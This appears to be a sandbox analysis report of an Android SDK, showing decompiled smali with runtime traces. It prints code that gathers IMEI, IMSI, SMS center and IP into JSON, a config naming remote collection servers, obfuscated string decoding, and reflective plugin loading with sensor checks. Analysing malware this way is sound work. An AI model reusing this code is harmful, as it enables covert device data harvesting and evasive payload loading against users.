                              94invoke-virtual {v7, v9}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              95add-int/lit8 v0, v2, 0x1
                              96move v2, v0
                              97goto/16 :goto_5a
                              98cond_8c:
                              99invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              100move-result-object v0
                              102invoke-interface {v5, v0, v7}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              103add-int/lit8 v0, v3, 0x1
                              104move v3, v0
                              105goto/16 :goto_39
                              106cond_97: iput-object v5, p0, Lcom/omgSdk/outport/RunChecker;->g:Ljava/util/Map;
                              108const-string/jumbo v0, "release"
                              110invoke-virtual {v4, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              111move-result-object v3
                              112new-instance v4, Ljava/util/ArrayList;
                              114invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
                              115move v2, v1
                              116goto_a6:
                              117invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                              118move-result v0
                              119if-ge v2, v0, :cond_f9
                              121invoke-virtual {v3, v2}, Lorg/json/JSONArray;->getJSONArray(I)Lorg/json/JSONArray;
                              122move-result-object v5
                              123new-instance v6, Lcom/omgSdk/outport/RunChecker$ReleaseGroup;
                              125invoke-direct {v6, p0}, Lcom/omgSdk/outport/RunChecker$ReleaseGroup;-><init>(Lcom/omgSdk/outport/RunChecker;)V
                              126move v0, v1
                              127goto_b6:
                              128invoke-virtual {v5}, Lorg/json/JSONArray;->length()I
                              129move-result v7
                              130if-ge v0, v7, :cond_f2
                              132invoke-virtual {v5, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                              133move-result-object v7
                              135const-string/jumbo v8, "type"
                              137const-string/jumbo v9, "0"
                              139invoke-virtual {v7, v8, v9}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              140move-result-object v8
                              142invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              143move-result v8
                              145const-string/jumbo v9, "con"
                              147const-string/jumbo v10, "0"
                              149invoke-virtual {v7, v9, v10}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              150move-result-object v7
                              152invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              153move-result v7
                              154if-eqz v8, :cond_ef
                              156iget-object v9, p0, Lcom/omgSdk/outport/RunChecker;->i:Ljava/util/Set;
                              158invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              159move-result-object v10
                              161invoke-interface {v9, v10}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              162new-instance v9, Lcom/omgSdk/outport/RunChecker$ReleaseChecker;
                              164invoke-direct {v9, p0, v8, v7}, Lcom/omgSdk/outport/RunChecker$ReleaseChecker;-><init>(Lcom/omgSdk/outport/RunChecker;II)V
                              166invoke-virtual {v6, v8, v9}, Lcom/omgSdk/outport/RunChecker$ReleaseGroup;->a(ILcom/omgSdk/outport/RunChecker$ReleaseChecker;)V
                              167cond_ef: add-int/lit8 v0, v0, 0x1
                              168goto/16 :goto_b6
                              169cond_f2:
                              170invoke-virtual {v4, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              171add-int/lit8 v0, v2, 0x1
                              172move v2, v0
                              173goto/16 :goto_a6
                              174cond_f9: iput-object v4, p0, Lcom/omgSdk/outport/RunChecker;->h:Ljava/util/ArrayList;
                              176const-string/jumbo v0, "\u89e3\u6790\u914d\u7f6e\u6210\u529f"
                              178invoke-direct {p0, v0}, Lcom/omgSdk/outport/RunChecker;->b(Ljava/lang/String;)V
                              179try_end_101: return-void
                              180catch_102: move-exception v0
                              182const-string/jumbo v2, "getConditionFromJson "
                              184invoke-static {v2, v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              186const-string/jumbo v0, "\u914d\u7f6e\u4fe1\u606f\u5f02\u5e38\uff0c\u4f7f\u7528\u9ed8\u8ba4\u914d\u7f6e"
                              188invoke-direct {p0, v0}, Lcom/omgSdk/outport/RunChecker;->b(Ljava/lang/String;)V
                              189iput v1, p0, Lcom/omgSdk/outport/RunChecker;->o:I
                              191iget-object v0, p0, Lcom/omgSdk/outport/RunChecker;->f:Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              193const-string/jumbo v1, "checkCondition"
                              195const-string/jumbo v2, "{\"active\":1,\"condition_2\":[[\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"],[\"12\"],[\"13\"],[\"14\"]],\"condition_1\":[[\"1\"],[\"2\"],[\"3\"],[\"4\"],[\"11\"],[\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"]],\"release\":[[{\"con\":\"2\",\"type\":\"1\"}],[{\"con\":\"2\",\"type\":\"2\"}],[{\"con\":\"1\",\"type\":\"3\"}],[{\"con\":\"2\",\"type\":\"4\"}],[{\"con\":\"80\",\"type\":\"5\"}],[{\"con\":\"20\",\"type\":\"6\"}]]}"
                              197invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getConfig(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              198move-result-object v0
                              200invoke-direct {p0, v0}, Lcom/omgSdk/outport/RunChecker;->a(Ljava/lang/String;)V
                              201goto/16 :goto_101
                              202cond_121:
                              203const-string/jumbo v0, "\u6ca1\u6709\u4ee3\u7801\u672c\u5730\u914d\u7f6e"
                              205invoke-direct {p0, v0}, Lcom/omgSdk/outport/RunChecker;->b(Ljava/lang/String;)V
                              206goto/16 :goto_101
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.toString
                              Strings
                              • hsman
                              • hstype
                              • osVer
                              • screenWidth
                              • screenHeight
                              • ramSize
                              • imsi
                              • imei
                              • smsCenter
                              • Lac
                              • ip
                              • networkType
                              • channelId
                              • appId
                              • versionCode
                              • providersName
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Lorg/json/JSONObject;
                              3invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              • Time: 11382130149
                                • Return:
                                  • {}
                              5const-string/jumbo v1, "hsman"
                              7iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->a:Ljava/lang/String;
                              9invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              11const-string/jumbo v1, "hstype"
                              13iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->b:Ljava/lang/String;
                              15invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              17const-string/jumbo v1, "osVer"
                              19iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->c:Ljava/lang/String;
                              21invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              23const-string/jumbo v1, "screenWidth"
                              24iget-short v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->d:S
                              26invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              28const-string/jumbo v1, "screenHeight"
                              29iget-short v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->e:S
                              31invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              33const-string/jumbo v1, "ramSize"
                              34iget-short v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->f:S
                              36invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              38const-string/jumbo v1, "imsi"
                              40iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->g:Ljava/lang/String;
                              42invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              44const-string/jumbo v1, "imei"
                              46iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->h:Ljava/lang/String;
                              48invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              50const-string/jumbo v1, "smsCenter"
                              52iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->i:Ljava/lang/String;
                              54invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              56const-string/jumbo v1, "Lac"
                              57iget-short v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->j:S
                              59invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              61const-string/jumbo v1, "ip"
                              63iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->k:Ljava/lang/String;
                              65invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              67const-string/jumbo v1, "networkType"
                              68iget-byte v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->l:B
                              70invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              72const-string/jumbo v1, "channelId"
                              74iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->m:Ljava/lang/String;
                              76invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              78const-string/jumbo v1, "appId"
                              80iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->n:Ljava/lang/String;
                              82invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              84const-string/jumbo v1, "versionCode"
                              86iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->o:Ljava/lang/String;
                              88invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              90const-string/jumbo v1, "providersName"
                              92iget-object v2, p0, Lcom/omg/base/network/objects/TerminalInfo;->p:Ljava/lang/String;
                              94invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              96invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              97move-result-object v0
                              98return-object v0
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.System.getProperty
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getAssets
                              • java.lang.System.getProperty
                              • android.content.res.AssetManager.open
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • java.lang.Exception.getMessage
                              Strings
                              • OmgSdk
                              • use config
                              • SdkConfig
                              • hs
                              • ps
                              • mp
                              • rp
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lcom/omg/base/Config;-><init>()V
                              3iput-object p1, p0, Lcom/omg/base/Config$TempConfig;->i:Landroid/content/Context;
                              4try_start_5:
                              5const-string/jumbo v0, "OmgSdk"
                              6sget v1, Lcom/omg/tool/builds/BuildModes;->Log:I
                              8invoke-static {v0, v1}, Lcom/omg/tool/builds/Build;->Mode(Ljava/lang/String;I)Z
                              9move-result v0
                              10if-eqz v0, :cond_80
                              12invoke-static {}, Lcom/omg/tool/log/Logger;->OpenLog()V
                              13goto_13: new-instance v0, Ljava/lang/StringBuilder;
                              15invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              17const-string/jumbo v1, "use config "
                              19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v0
                              22const-string/jumbo v1, "SdkConfig"
                              24invoke-static {}, Lcom/omg/base/Config;->a()Ljava/lang/String;
                              25move-result-object v2
                              27invoke-static {v1, v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              28move-result-object v1
                              30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              31move-result-object v0
                              33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              34move-result-object v0
                              36invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              38invoke-virtual {p1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              39move-result-object v0
                              41const-string/jumbo v1, "SdkConfig"
                              43invoke-static {}, Lcom/omg/base/Config;->a()Ljava/lang/String;
                              44move-result-object v2
                              46invoke-static {v1, v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              47move-result-object v1
                              49invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              50move-result-object v0
                              51new-instance v1, Lorg/json/JSONObject;
                              53invoke-direct {p0, v0}, Lcom/omg/base/Config$TempConfig;->a(Ljava/io/InputStream;)Ljava/lang/String;
                              54move-result-object v0
                              56invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              • Time: 11382129989
                                • p0: {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • Return:
                                  • {"hs":{"HostServer":"http:\/\/47.88.212.227:8688","server":"https:\/\/bcd.lkjuio.com","default":"https:\/\/bcd.lkjuio.com","logEvent":"https:\/\/cde.lkjuio.com","dataevent":"https:\/\/log.lkjuio.com","PluginServer":"https:\/\/bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv"
                              57iput-object v1, p0, Lcom/omg/base/Config$TempConfig;->a:Lorg/json/JSONObject;
                              59iget-object v0, p0, Lcom/omg/base/Config$TempConfig;->a:Lorg/json/JSONObject;
                              61const-string/jumbo v1, "hs"
                              63invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              64move-result-object v0
                              65iput-object v0, p0, Lcom/omg/base/Config$TempConfig;->b:Lorg/json/JSONObject;
                              67iget-object v0, p0, Lcom/omg/base/Config$TempConfig;->a:Lorg/json/JSONObject;
                              69const-string/jumbo v1, "ps"
                              71invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              72move-result-object v0
                              73iput-object v0, p0, Lcom/omg/base/Config$TempConfig;->c:Lorg/json/JSONObject;
                              75iget-object v0, p0, Lcom/omg/base/Config$TempConfig;->a:Lorg/json/JSONObject;
                              77const-string/jumbo v1, "mp"
                              79invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              80move-result-object v0
                              81iput-object v0, p0, Lcom/omg/base/Config$TempConfig;->d:Lorg/json/JSONObject;
                              83iget-object v0, p0, Lcom/omg/base/Config$TempConfig;->a:Lorg/json/JSONObject;
                              85const-string/jumbo v1, "rp"
                              87invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              88move-result-object v0
                              89iput-object v0, p0, Lcom/omg/base/Config$TempConfig;->e:Lorg/json/JSONObject;
                              90goto_7f: return-void
                              91cond_80:
                              92invoke-static {}, Lcom/omg/tool/log/Logger;->CloseLog()V
                              93try_end_83: goto/16 :goto_13
                              94catch_84: move-exception v0
                              96invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              97move-result-object v0
                              99invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              100goto/16 :goto_7f
                              Cross References
                              APIs
                              • java.util.ArrayList.get
                              • java.util.ArrayList.get
                              • java.util.ArrayList.get
                              • java.io.File.getParentFile
                              • java.lang.Exception.printStackTrace
                              • java.util.ArrayList.get
                              • java.util.ArrayList.get
                              • java.io.File.getParentFile
                              • java.util.ArrayList.get
                              • java.util.ArrayList.get
                              • java.io.File.getParentFile
                              Strings
                              • LCs+LSsTMD47
                              • startLoad
                              • PD49NjE=
                              • cabin
                              • MzA+Ox4rKz48NxwwMSs6Jys=
                              • loadAttachContext
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4"Ljava/lang/String;",
                              5"Ljava/util/ArrayList",
                              6"<",
                              7"Ljava/lang/Object;",
                              8">;)V"
                              9}
                              10.end annotation
                              11.prologue
                              12const-class v6, Lcom/full/naturally/Assist;
                              13monitor-enter v6
                              14try_start_3: new-instance v0, Lcom/inasmuch/trample/Fly;
                              16invoke-direct {v0}, Lcom/inasmuch/trample/Fly;-><init>()V
                              18invoke-virtual {v0, p0}, Lcom/inasmuch/trample/Fly;->offer(Landroid/content/Context;)Z
                              19try_end_b: move-result v0
                              20if-eqz v0, :cond_10
                              21goto_e: monitor-exit v6
                              22return-void
                              23cond_10: const/4 v0, 0x0
                              24try_start_11:
                              25invoke-static {p0, v0, p2}, Lcom/full/naturally/Assist;->section(Landroid/content/Context;Ljava/io/File;Ljava/util/ArrayList;)V
                              26new-instance v0, Lcom/inasmuch/trample/Fly;
                              28invoke-direct {v0}, Lcom/inasmuch/trample/Fly;-><init>()V
                              29const/4 v1, 0x0
                              31invoke-virtual {p2, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              32move-result-object v1
                              33check-cast v1, Ljava/lang/Class;
                              34const/4 v2, 0x0
                              36const-string v3, "LCs+LSsTMD47"
                              38invoke-static {v3}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11382129702
                                • This:
                                  • startLoad
                                • p0: [C@39dbaabe
                                • p0: startLoad
                                • Return:
                                  • startLoad
                              • Time: 11382129707
                                • p0: LCs+LSsTMD47
                                • Return:
                                  • startLoad
                              39move-result-object v3
                              40const/4 v4, 0x3
                              41new-array v4, v4, [Ljava/lang/Class;
                              42const/4 v5, 0x0
                              43const-class v7, Landroid/content/Context;
                              44aput-object v7, v4, v5
                              45const/4 v5, 0x1
                              46const-class v7, Ljava/lang/String;
                              47aput-object v7, v4, v5
                              48const/4 v5, 0x2
                              49const-class v7, Ljava/lang/String;
                              50aput-object v7, v4, v5
                              51const/4 v5, 0x3
                              52new-array v5, v5, [Ljava/lang/Object;
                              53const/4 v7, 0x0
                              54aput-object p0, v5, v7
                              55const/4 v7, 0x1
                              57const-string v8, "PD49NjE="
                              59invoke-static {v8}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11382129711
                                • This:
                                  • cabin
                                • p0: [C@3f7d6835
                                • p0: cabin
                                • Return:
                                  • cabin
                              • Time: 11382129716
                                • p0: PD49NjE=
                                • Return:
                                  • cabin
                              60move-result-object v8
                              61aput-object v8, v5, v7
                              62const/4 v7, 0x2
                              64invoke-static {p1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11382129720
                                • This:
                                  • loadAttachContext
                                • p0: [C@516c158
                                • p0: loadAttachContext
                                • Return:
                                  • loadAttachContext
                              • Time: 11382129725
                                • p0: MzA+Ox4rKz48NxwwMSs6Jys=
                                • Return:
                                  • loadAttachContext
                              65move-result-object v8
                              66aput-object v8, v5, v7
                              68invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              69try_end_52: const/4 v0, 0x1
                              70try_start_53:
                              71invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              72move-result-object v0
                              73if-eqz v0, :cond_e
                              74new-instance v1, Lcom/cultivate/fairly/Incredible;
                              76invoke-direct {v1}, Lcom/cultivate/fairly/Incredible;-><init>()V
                              77const/4 v0, 0x1
                              79invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              80move-result-object v0
                              81check-cast v0, Ljava/io/File;
                              83invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              84move-result-object v0
                              86invoke-virtual {v1, v0}, Lcom/cultivate/fairly/Incredible;->celebrate(Ljava/io/File;)V
                              87try_end_6c: goto/16 :goto_e
                              88catchall_6d: move-exception v0
                              89monitor-exit v6
                              90throw v0
                              91catch_70: move-exception v0
                              92try_start_71:
                              93invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              94try_end_74: const/4 v0, 0x1
                              95try_start_75:
                              96invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              97move-result-object v0
                              98if-eqz v0, :cond_e
                              99new-instance v1, Lcom/cultivate/fairly/Incredible;
                              101invoke-direct {v1}, Lcom/cultivate/fairly/Incredible;-><init>()V
                              102const/4 v0, 0x1
                              104invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              105move-result-object v0
                              106check-cast v0, Ljava/io/File;
                              108invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              109move-result-object v0
                              111invoke-virtual {v1, v0}, Lcom/cultivate/fairly/Incredible;->celebrate(Ljava/io/File;)V
                              112goto/16 :goto_e
                              113catchall_8f: move-exception v0
                              114move-object v1, v0
                              115const/4 v0, 0x1
                              117invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              118move-result-object v0
                              119if-eqz v0, :cond_ab
                              120new-instance v2, Lcom/cultivate/fairly/Incredible;
                              122invoke-direct {v2}, Lcom/cultivate/fairly/Incredible;-><init>()V
                              123const/4 v0, 0x1
                              125invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              126move-result-object v0
                              127check-cast v0, Ljava/io/File;
                              129invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              130move-result-object v0
                              132invoke-virtual {v2, v0}, Lcom/cultivate/fairly/Incredible;->celebrate(Ljava/io/File;)V
                              133cond_ab: throw v1
                              Cross References
                              APIs
                              • java.lang.Boolean.valueOf
                              • android.content.Context.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Integer.valueOf
                              • java.lang.Boolean.valueOf
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.Boolean.valueOf
                              Strings
                              • ODorDCYsKzoyDDotKTY8Og==
                              • getSystemService
                              • LDoxLDAt
                              • sensor
                              • PjE7LTA2O3E3Pi07KD4tOnEMOjEsMC0SPjE+ODot
                              • android.hardware.SensorManager
                              • ODorGzo5PiozKww6MSwwLQ==
                              • getDefaultSensor
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v7, 0x0
                              2try_start_1: const-class v1, Landroid/content/Context;
                              4const-string v0, "ODorDCYsKzoyDDotKTY8Og=="
                              6invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983866
                                • This:
                                  • getSystemService
                                • p0: [C@3ab0639a
                                • p0: getSystemService
                                • Return:
                                  • getSystemService
                              • Time: 11381983870
                                • p0: ODorDCYsKzoyDDotKTY8Og==
                                • Return:
                                  • getSystemService
                              7move-result-object v3
                              8const/4 v0, 0x1
                              9new-array v4, v0, [Ljava/lang/Class;
                              10const/4 v0, 0x0
                              11const-class v2, Ljava/lang/String;
                              12aput-object v2, v4, v0
                              13const/4 v0, 0x1
                              14new-array v5, v0, [Ljava/lang/Object;
                              15const/4 v0, 0x0
                              17const-string v2, "LDoxLDAt"
                              19invoke-static {v2}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983874
                                • This:
                                  • sensor
                                • p0: [C@1111abc1
                                • p0: sensor
                                • Return:
                                  • sensor
                              • Time: 11381983878
                                • p0: LDoxLDAt
                                • Return:
                                  • sensor
                              20move-result-object v2
                              21aput-object v2, v5, v0
                              22move-object v0, p0
                              23move-object v2, p1
                              25invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              26move-result-object v2
                              27if-nez v2, :cond_2b
                              28const/4 v0, 0x1
                              30invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              31move-result-object v0
                              32goto_2a: return-object v0
                              33cond_2b:
                              34invoke-virtual {p1}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              35move-result-object v0
                              37const-string v1, "PjE7LTA2O3E3Pi07KD4tOnEMOjEsMC0SPjE+ODot"
                              39invoke-static {v1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983898
                                • This:
                                  • android.hardware.SensorManager
                                • p0: [C@387c3f9f
                                • p0: android.hardware.SensorManager
                                • Return:
                                  • android.hardware.SensorManager
                              • Time: 11381983902
                                • p0: PjE7LTA2O3E3Pi07KD4tOnEMOjEsMC0SPjE+ODot
                                • Return:
                                  • android.hardware.SensorManager
                              40move-result-object v1
                              42invoke-virtual {v0, v1}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              43move-result-object v1
                              45const-string v0, "ODorGzo5PiozKww6MSwwLQ=="
                              47invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983906
                                • This:
                                  • getDefaultSensor
                                • p0: [C@2638e74a
                                • p0: getDefaultSensor
                                • Return:
                                  • getDefaultSensor
                              • Time: 11381983911
                                • p0: ODorGzo5PiozKww6MSwwLQ==
                                • Return:
                                  • getDefaultSensor
                              48move-result-object v3
                              49const/4 v0, 0x1
                              50new-array v4, v0, [Ljava/lang/Class;
                              51const/4 v0, 0x0
                              53sget-object v5, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              54aput-object v5, v4, v0
                              55const/4 v0, 0x1
                              56new-array v5, v0, [Ljava/lang/Object;
                              57const/4 v0, 0x0
                              58const/4 v6, 0x5
                              60invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              61move-result-object v6
                              62aput-object v6, v5, v0
                              63move-object v0, p0
                              65invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              66move-result-object v0
                              67if-nez v0, :cond_63
                              68const/4 v0, 0x1
